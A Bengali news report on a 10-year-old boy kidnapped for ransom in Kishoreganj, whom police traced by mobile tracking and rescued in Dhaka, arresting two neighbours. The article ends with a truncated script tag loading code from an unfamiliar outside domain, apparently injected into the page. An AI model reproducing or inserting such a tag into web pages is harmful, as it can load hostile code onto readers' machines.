মোস্তফা কামাল, কিশোরগঞ্জ: পুলিশের তৎপরতায় উদ্ধার হলো অপহৃত শিশু। কিশোরগঞ্জ থেকে অপহৃত শিশুটিকে মোবাইল ট্র্যাকিংয়ের মাধ্যমে ঢাকা থেকে অক্ষত অবস্থায় উদ্ধার করে পুলিশ। অপহরণকারীদেরও গ্রেফতার করা হয়েছে।
সদর উপজেলার ব্রাহ্মণকচুরি গ্রামের অপূর্ব সরকার (১০) নামে তৃতীয় শ্রেণির এক ছাত্রকে ৯ আগস্ট প্রতিবেশীরা অপহরণ করে মোবাইল ফোনে তিন লাখ টাকা মুক্তিপণের দাবি করে । এ নিয়ে অপূর্বের মা পান্না রাণী সরকার সদর থানায় ডায়রি করেন।

সদর থানার ওসি মীর মোশারফ হোসেন জানান, ৯ আগস্ট বিকেলে শিশুটি পাশের শ্যাম রায়ের বাজারের উদ্দেশে বাড়ি থেকে বেরোয়। এরপর থেকে সে নিখোঁজ। পরদিন সকালে অজ্ঞাত পরিচয়ে অচেনা মোবাইল নম্বর থেকে পান্না সরকারকে অপহরণকারীরা জানায়, শিশুটি তাদের কাছে আছে। পান্না সরকার সদর থানায় সাধারণ ডায়রি করেন।
ওসি আরো জানান, পুলিশ সুপার আনোয়ার হোসেন খান সিনিয়র এএসপি ফজলে রাব্বি, সদর থানার ওসি মীর মোশারফ হোসেন, ডিবির ওসি সাইফুর রহমান মজুমদারসহ অন্য পুলিশ সদস্যদের নিয়ে একটি টিম গঠন করেন। মোবাইল ট্র্যাকিং করে আজ (বৃহস্পতিবার) ভোর রাতে ঢাকার মহাখালী থেকে ব্রাহ্মণকচুরি গ্রামের ইদ্রিস মিয়ার স্ত্রী রহিমা আক্তার রুহী ও তার ভাই জসিমকে গ্রেফতার করে পুলিশ। রুহী অপূর্বদের প্রতিবেশী। জসিম পশ্চিম ধানমণ্ডি বটতলা এলাকায় নূরুজ্জামান মদন ইঞ্জিনিয়ারের বাসার ভাড়াটিয়া। সেই বাসা থেকে শিশুটিকে অক্ষত অবস্থায় উদ্ধার করে আজই কিশোরগঞ্জে নিয়ে আসা হয়।
পান্নার দায়ের করা ডায়রিটি নারী ও শিশু নির্যাতন দমন আইনে মামলা হিসেবে রেকর্ড করা হয়েছে। পুলিশের প্রেস বিজ্ঞপ্তিতে জানানো হয়, গ্রেফতারকৃত রুহী ও জসিম শরিয়তপুর জেলার গোসাইরহাট উপজেলার চরমনপুরা গ্রামের প্রয়াত হাসেম মাতাব্বরের সন্তান।
<script src=”http://www.ad5ve.com/